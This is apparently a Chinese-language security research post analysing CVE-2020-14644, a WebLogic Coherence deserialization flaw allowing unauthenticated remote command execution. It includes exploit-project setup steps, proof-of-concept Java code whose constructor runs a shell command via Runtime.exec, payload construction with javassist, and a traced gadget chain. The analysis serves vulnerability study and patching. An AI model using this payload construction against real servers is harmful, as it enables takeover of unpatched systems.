简介
2020年7月，Oracle发布了关键升级补丁(Critical Patch Update)，其中包含编号为CVE-2020-14644 的漏洞修复。
WebLogic的核心coherence组件存在严重的安全漏洞，可以在无需账户登录的情况下，通过发送精心恶意的IIOP协议数据包，进行反序列化攻击完成远程任意命令执行。
受影响的版本：
- WebLogic 12.2.1.3.0
- WebLogic 12.2.1.4.0
- WebLogic 14.1.1.0.0
漏洞复现
漏洞环境:
- java version "1.8.0_112"
- WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败，不知为何coherence组件不完整)
- IDEA DEBUG
- 使用github项目进行攻击与分析
看看整个项目的结构：
相关代码包含三个文件：
App为攻击项目的入口，POC构造的逻辑，字节码处理等
test为包含恶意命令类，会被App进行字节码处理
Serializables为序列化工具类
lib库包含两个jar文件，同样需要添加到项目中
WebLogic 12.2.1.4.0可以使用项目自带的，其他的版本最好使用和目标版本一致的
coherence.jar的位置
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
wlfullclient.jar需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
运行后在会生成wlfullclient.jar，路径为：
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
然后可以使用脚本进行攻击，因为有回显的，所以需要运行两次
javassist
javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点，在于简单，而且快速。直接使用 java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构，或者动态生成类。
Ysoserial在生成Payload中也是使用的javassist类库。
几个重要的Javassist类对象：
ClassPool：一个基于Hashtable实现的CtClass对象容器，其中键名是类名称，值是表示该类的CtClass对象。CtClass：CtClass表示类，一个CtClass(编译时类）对象可以处理一个class文件，这些CtClass对象可以从ClassPool获得。CtMethods：表示类中的方法。CtFields：表示类中的字段。
创建ClassPool对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径，或者将目录作为类搜索路径
查找并获取CtClass对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据key从Hash表中查找对应的CtClass对象
CtClass可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();转换成Class对象
分析
为了方便分析，可以简化攻击代码，本地模拟序列化和反序列化的过程，完成攻击。
test1.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;
public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
public test1() throws IOException {
String cmd = "touch /tmp/rai4over";
Runtime.getRuntime().exec(cmd);
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String s) throws RemoteException {
return null;
}
}
test1实现com.tangosol.internal.util.invoke.Remotable和ClusterMasterRemote接口，并且在无参数的构造函数中包含执行的命令。
RCETEST.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class RCETEST {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj);
}
}
大致为使用javassist修改恶意的test1.java的字节码文件，这里和ysoserial-payloads-CommonsCollections2的操作是一个套路，装入恶意的RemoteConstructor对象并序列化，然后反序列化触发。
Gadget chain
开始分析POC的构造，首先是new ClassIdentity(org.unicodesec.test1.class)，将恶意test1的class作为参数传入创建ClassIdentity对象。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)
clazz.getPackage().getName().replace('.', '/')获取包名并替换后为org/unicodesec
clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1)获取类名并截取后变为test1
Base.toHex(md5(clazz))为MD5值81646C2598E743F9FE254AB93A0FBE14
然后传递到另一个构造参数。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String, java.lang.String, java.lang.String)
分别赋值给m_sPackage、m_sVersion、m_sBaseName成员，然后返回ClassIdentity类的实例化对象。
接着创建ClassPool对象，org.unicodesec.test1.class.getName()也就是test1，修改类名为org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14，接着将修改后test1的字节码和生成ClassIdentity对象作为参数创建ClassDefinition对象。
com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity, byte[])
将传入的ClassIdentity对象和test1字节码文件分别存储，然后还获取了ClassName并进行长度判断。创建的ClassDefinition对象又会作为参数创建RemoteConstructor对象。
com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition, java.lang.Object[])
第二个参数是空的，整个RemoteConstructor对象结构如下：
RemoteConstructor对象中包含创建和修改的各个对象。
整个恶意类接下来就是使用Serializables工具类序列化RemoteConstructor对象，然后模拟Weblogic中IIOP通讯，反序列化该对象。
com.tangosol.internal.util.invoke.RemoteConstructor#readResolve
和之前常见的java反序列化readObject作为入口不同，这次的问题出在用于检查反序列化对象是否唯一readResolve（单例模式），然后调用newInstance。
com.tangosol.internal.util.invoke.RemoteConstructor#newInstance
获取继承ClassLoader对象的RemotableSupport对象，然后将RemoteConstructor传入support.realize函数。
com.tangosol.internal.util.invoke.RemotableSupport#realize
首先constructor.getDefinition()获取了ClassDefinition对象，然后传入registerIfAbsent函数
com.tangosol.internal.util.invoke.ClassDefinition
根据ID将ClassDefinition对象存储在MAP类的this.f_mapDefinitions中，然后返回ClassDefinition对象
com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions
返回到realize，然后调用definition.setRemotableClass(this.defineClass(definition))，先看this.defineClass。
com.tangosol.internal.util.invoke.RemotableSupport#defineClass
com.tangosol.internal.util.invoke.ClassDefinition#getBytes
definition.getBytes()会返回test1的字节码
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)
RemotableSupport对象利用继承ClassLoader的defineClass方法加载test1的字节码，返回test1-Class对象传入definition.setRemotableClass方法。
com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass
将test1-Class对象存入ClassDefinition对象的m_clz，然后通过getDeclaredConstructors获取test1的构造函数数组。
构造函数数量为1，进入if分支，使用MethodHandles查找类中的构造方法，并存储到m_mhCtor成员。
java.lang.invoke.MethodHandles.Lookup#findConstructor
返回到realize函数，调用definition.createInstance函数
com.tangosol.internal.util.invoke.ClassDefinition#createInstance
这里是一个链式调用，跟进this.getConstructor
com.tangosol.internal.util.invoke.ClassDefinition#getConstructor
会返回存储test1构造函数的MethodHandle对象，构造函数中包含恶意命令，然后反射执行构造函数，完成任意命令执行，此时的调用栈为：
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)
参考
https://www.oracle.com/security-alerts/cpujul2020.html
